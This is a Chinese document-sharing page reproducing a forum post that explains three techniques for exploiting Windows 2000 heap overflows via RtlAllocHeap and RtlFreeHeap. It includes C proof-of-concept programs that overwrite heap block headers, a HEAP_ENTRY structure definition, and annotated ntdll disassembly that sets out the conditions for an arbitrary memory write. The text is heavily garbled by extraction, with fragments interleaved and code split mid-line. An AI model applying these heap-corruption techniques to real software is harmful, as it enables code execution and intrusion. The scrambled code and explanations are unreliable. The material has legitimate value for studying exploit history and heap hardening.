版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、001B:77FCC455 894804MOV EAX+04,ECX原文由 Leven 发在网络编程版:总结 windows 下堆溢出的三种利用方式 1. 利用 RtlAllocHeap这是 ISNO 提到的,看这个例子 main (int argc, char *argv)char *buf1, *buf2;chars"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x01x08x00x11x11x11x1 1x21x21x21x21"buf1 = (char*)malloc (32); /* memcpy (buf1, s,
2、 32+16); /*分配两块内存 */这里多复制 16 个字节 */buf2 = (char*)malloc (16);free (buf1);free (buf2);return 0;在给 buf1 完成 malloc 之后,返回的地址 (buf1) 是个指针,指向的内存分配情况是这样 buf1的管理结构(8bytes)|buf1 真正可操作空 间(32bytes)|下一个空闲堆的管理结构 (8bytes)| 两个双链表指针 (8bytes) 在给 buf2 完成 malloc 之后, buf1 指向的内存分配情况是这样 buf1 的管理结构 (8bytes)|buf1 真正可操作空间 (
3、32bytes)|buf2 的管理结构 (8bytes)|buf2 真正可操作空间 (16bytes)| 两个双链表指针 (8bytes) 现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了 下一个空闲堆的管理结构 (8bytes)| 两个双链表指针 (8bytes)共 16 个字节的时候,就会造成 buf2 的 RtlAllocHeap 操作异常。原因看 RtlAllocHeap 的这 段代码(8bytes) 的后一个指针 (0x21212121) , EAX 指向前一个指针 string 溢出,可以写任意数据到任意地址,这种情况比较简此时 ECX 指向两个双链表指针
4、(0x11111111) 。类似于 format单,前提是在 buf2 分配空间之前 buf1 有溢出的机会 2. 利用 RtlFreeHeap 的方式一 这是 ilsy 提到的,看例子 main (int argc, char *argv)char *buf1, *buf2;char s = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax03x00x05x00x00x09"分配两块内存 */memcpy (buf1, s, 32+6); /*这里多复制 6 个字节 */free (buf1);free (buf2);return 0; 由于 buf1
5、 多复制了 6 个字节, 生异常。只要我们精心构造这个这 6 个字节会覆盖掉 buf2 的管理结构, 在 free(buf2) 时会发6 个字节就可以达到目的先看看 8 字节管理结构的定义(从 windows 源码中找到) typedef struct _HEAP_ENTRY /This field gives the size of the current block in allocation granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT equals the size in bytes).Except if t
6、his is part of a virtual alloc block then thisvalue is the difference between the commit size in the virtual alloc entry and the what the user asked for./USHORT Size;/buf1 = (char*)malloc (32); /* buf2 = (char*)malloc (16);/ This field gives the size of the previous block in allocation/ granularity
7、units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT/ equals the size of the previous block in bytes)./USHORT PreviousSize;/ This field contains the index into the segment that controls/ the memory for this block. /UCHAR SegmentIndex;/ This field contains various flag bits associated with this
8、block./ Currently these are:/0x01 - HEAP_ENTRY_BUSY/0x02 - HEAP_ENTRY_EXTRA_PRESENT0x04 - HEAP_ENTRY_FILL_PATTERN0x08 - HEAP_ENTRY_VIRTUAL_ALLOC/0x10 - HEAP_ENTRY_LAST_ENTRY0x20 - HEAP_ENTRY_SETTABLE_FLAG10x40 - HEAP_ENTRY_SETTABLE_FLAG20x80 - HEAP_ENTRY_SETTABLE_FLAG3/UCHAR Flags;/ This field conta
9、ins the number of unused bytes at the end of this/ block that were not actually allocated. Used to compute exact / size requested prior to rounding requested size to allocation / granularity. Also used for tail checking purposes. /UCHAR UnusedBytes;/ Small (8 bit) tag indexes can go here. /UCHAR Sma
10、llTagIndex;#if defined(_WIN64)ULONGLONG Reserved1;#endif HEAP_ENTRY, *PHEAP_ENTRY;就是size(2bytes)|size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)8 的值注意这里的 size 是实际大小进行 8 字节对齐后除以 可以看看 flag 的各个定义再看看 RtlFreeHeap 里面几个关键的地方关键点一001B:77FCC829 8A4605MOVAL,ESI+05/esi指向buf2 的 8 字节
11、管理结构的起始地址, al 即 flag001B:77FCC82C A801TESTAL,01/flag值是 否含有001B:77FCC8A0F6C301HEAP_ENTRY_BUSY001B:77FCC82E跳0F84A40E0000JZ77FCD6D8/不含则跳转。这里不能001B:77FCC834F6C207TESTDL,07001B:77FCC8370F859B0E0000JNZ77FCD6D8001B:77FCC83D807E0440CMPBYTEPTRESI+04,40 /esi+4是否大于 0x40001B:77FCC8410F83910E0000JAE77FCD6D8/大于等于
12、则跳转,这里不能跳001B:77FCC847834DFCFFOR001B:77FCC84BA8E0TESTDWORD PTR EBP-04,-01AL,E0/flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3001B:77FCC84D 754AJNZ77FCC899/只要含有一个就跳,这里不重要001B:77FCC84F8B8F80050000001B:77FCC85585C9TESTMOV ECX,EDI+00000580ECX,ECX001B:77FCC8577440JZ77FCC899/这里必然会跳关键点二001B:77FCC899C745FC01000000MO
13、V DWORD PTR EBP-04,00000001 TEST BL,01001B:77FCC8A3750FJNZ 77FCC8B4/这里必然会跳001B:77FCC8A5FFB778050000PUSH DWORD PTR EDI+00000578CALL MOV TEST001B:77FCC8AB E853C8FBFF001B:77FCC8B0 C645D401001B:77FCC8B4 F6460508 含 HEAP_ENTRY_VIRTUAL_ALLOCntdll!RtlEnterCriticalSectionBYTE PTR EBP-2C,01BYTE PTR ESI+05,08
14、/flag是否001B:77FCC8B8 0F858BF2FFFF JNZ 要跳77FCBB49/含有则跳,这里001B:77FCBB49 83C6E8ADDESI,-18/ilsy的 windows 版本上这个 0x18的是不同的001B:77FCBB4C 89759CMOVEBP-64,ESI001B:77FCBB4F 8B06MOVEAX,ESI001B:77FCBB51 894598MOVEBP-68,EAX001B:77FCBB54 8B7604MOVESI,ESI+04001B:77FCBB57 897594MOVEBP-6C,ESI001B:77FCBB5A 8906MOVESI
15、,EAX/关键点三常说在不同这里会操作异EAX=0X61616161,ESI=0X61616161, 正好是我们看到最后操作异常的时候将 buf2 的起始地址减去 0x18 的地址的数据复制到之后buf1 里的值,就是的数据所指向的地址。我们可以控制这两个数据。 可见第二种方式的前提有三个: 1)构造堆( buf2 )的 flag 必须含有 设成 0xff 2) 构造堆的 flag 前面那个字节要比HEAP_ENTRY_BUSY HEAP_ENTRY_VIRTUAL_ALLO可以0x40 小3)构造堆的上一个堆(即 buf1 )的长度必须大于或等于 0x18+0x08 即32个字节,否则在关
16、键点三处, ESI 会指向我们不能控制的区域,造成利用失败 还有 ilsy 提到字节构造的 8 字节管理结构的第一个字节必须大于 0x80 ,在我的机器上并没 0x99 ,我用 0x03 ,也能成功利用有必要 (windows2000pro cn+sp4) ,他用3. 利用 RtlFreeHeap 的方式这是我研究堆溢出发现的第一种异常情况, 认为这是 unlink 本堆块时发生的异常。 看例子之前不明就里, 花了 2 个小时看了几篇帖子之后,main (int argc, char *argv)char *buf1, *buf2;chars"aaaaaaaaaaaaaaaaaaaa
17、aaaaaaaaaaaax03x00x05x00x00x00x08x00x11x11x11x11x22x22x22x22"分配两块内存 */buf1 = (char*)malloc (32); /* buf2 = (char*)malloc (16);memcpy (buf1, s, 32+16); /*这里多复制 16 个字节 */free (buf1);free (buf2);return 0;看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在现异常。同样再看看 RtlFreeHeap 的几个关键点free(buf1) 时就出关键点一同方式二的关键点一,设法跳到关键
18、点二关键点二001B:77FCC899C745FC01000000 MOV DWORD PTR EBP-04,00000001001B:77FCC8A0F6C301TEST BL,01001B:77FCC8A3750FJNZ 77FCC8B4001B:77FCC8A5FFB778050000PUSH DWORD PTR EDI+00000578001B:77FCC8ABE853C8FBFFCALLntdll!RtlEnterCriticalSection001B:77FCC8B0C645D401MOV001B:77FCC8B4F6460508TESTBYTE PTR EBP-2C,01BYTE
19、 PTR ESI+05,08 /flag是否含 HEAP_ENTRY_VIRTUAL_ALLOC001B:77FCC8B80F858BF2FFFFJNZ77FCBB49/含有则跳,这里不能跳001B:77FCC8BE0FB706MOVZXEAX,WORD PTR ESI001B:77FCC8C18945D0MOVEBP-30,EAX001B:77FCC8C4F6470C80TEST001B:77FCC8C87515JNZBYTE PTR EDI+0C,8077FCC8DF001B:77FCC8CA6A00PUSH00EAX,EBP-30001B:77FCC8CF50PUSHEAX001B:77
20、FCC8D056PUSHESI001B:77FCC8D157PUSHEDI001B:77FCC8CC8D45D0LEA001B:77FCC8D2E8EA000000CALL 77FCC9C1/进入这个 CALL关键点三001B:77FCC9C155PUSHEBP001B:77FCC9C28BECMOVEBP,ESP001B:77FCC9C556PUSHESI001B:77FCC9C453PUSHEBX001B:77FCC9C6 8B750CMOVESI,EBP+0C001B:77FCC9C98B5D08MOVEBX,EBP+08001B:77FCC9CC57PUSHEDI001B:77FCC9
21、CD8BFEMOVEDI,ESI /ESI指向 buf1 的起始地址001B:77FCC9CF0FB74602MOVZX EAX,WORD PTR ESI+02 /将 buf1之前的堆的长度放入 EAX001B:77FCC9D3C1E003SHLEAX,03 /乘以 8 得到实际大小001B:77FCC9D62BF8SUBEDI,EAX /EDI指向 buf1 之前的堆的起始地址001B:77FCC9D83BFECMPEDI,ESI001B:77FCC9DA740AJZ77FCC9E6001B:77FCC9DCF6470501TEST BYTE PTREDI+05,01/ 上一个堆的flag
22、是否含 HEAP_ENTRY_BUSY001B:77FCC9E00F8498E9FFFF JZ 77FCB37E /不能跳001B:77FCC9E6F6460510TEST BYTE PTRESI+05,10/ 上一个堆的flag 是否含 HEAP_ENTRY_LAST_ENTRY001B:77FCC9EA750FJNZ77FCC9FB /不能跳001B:77FCC9EC8B4510MOVEAX,EBP+10001B:77FCC9EF8B00MOVEAX,EAX /buf1的堆的长度001B:77FCC9F1F644C60501 TEST BYTE PTR EAX*8+ESI+05,01 /b
23、uf2的堆的 flag 是否含 HEAP_ENTRY_BUSY001B:77FCC9F68D3CC6LEAEDI,EAX*8+ESI /EDI指向buf2 的起始地址001B:77FCC9F97409JZ 77FCCA04 /不含则跳(合并空闲堆?),这里要跳001B:77FCC9FB8BC6MOVEAX,ESI001B:77FCC9FD5FPOPEDI001B:77FCC9FE5EPOPESI001B:77FCC9FF5BPOPEBX001B:77FCCA005DPOPEBP001B:77FCCA01C21000RET0010001B:77FCCA040FB70FMOVZX ECX,WORD
24、 PTR EDI /ECX即buf2 的堆的长度001B:77FCCA0703C8ADDECX,EAX /加上 buf1 的堆的长度001B:77FCCA0981F900FE0000CMP ECX,0000FE00/ 是否大于0xfe00001B:77FCCA0F77EAJA77FCC9FB /大于则跳,这里不能跳001B:77FCCA11807D1400CMPBYTE PTR EBP+14,00001B:77FCCA1B 8A4705MOVAL,EDI+05/AL即 buf2 的flag001B:77FCCA1E2410ANDAL,10/ 是否 含HEAP_ENTRY_LAST_ENTRY001B:77FCCA20A810TESTAL,10001B:77FCCA22884605MOVESI+05,AL/将 buf1 的 flag置为 HEAP_ENTRY_LAST_ENTRY001B:77FCCA25能
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024年医用材料制造项目投资申请报告代可行性研究报告
- 2024项目程序代码开发安全规范
- 资产评估学教程-练习答案 2
- 2023-2024学年广东省深圳市龙华区九年级(上)期中英语试卷
- 百家号批量发布软件怎么赛选关键词
- 三年级数学计算题专项练习及答案
- 电冰箱、空调器安装与维护电子教案 2.2 电冰箱的拆装
- 再生育申请审批表
- 广东省深圳市罗湖区2024-2025学年一年级上学期月考语文试卷
- 黑龙江省齐齐哈尔市富裕县第二中学2024-2025学年九年级上学期11月期中考试化学试题(含答案)
- 2024欠款还款协议书
- 主管领导对分管领导廉政谈话记录
- 2024年江苏省高考政治试卷(真题+答案)
- 电梯安装改造维修质量保证手册-电梯资质认证用资料正规机构编制符合TSG-2019要求
- 人音版音乐一年级上册第3课《中华人民共和国国歌》齐唱说课稿
- 小学三年级下一字多义(答案)
- 2023-2024学年全国小学二年级上语文人教版期中考卷(含答案解析)
- 2024-2030年耳塞(耳塞)行业市场现状供需分析及重点企业投资评估规划分析研究报告
- 《铸牢中华民族共同体意识》课件
- 提高四级手术术前多学科讨论完成率实施方案
- 监理单位安全教育培训计划(3篇模板)
评论
0/150
提交评论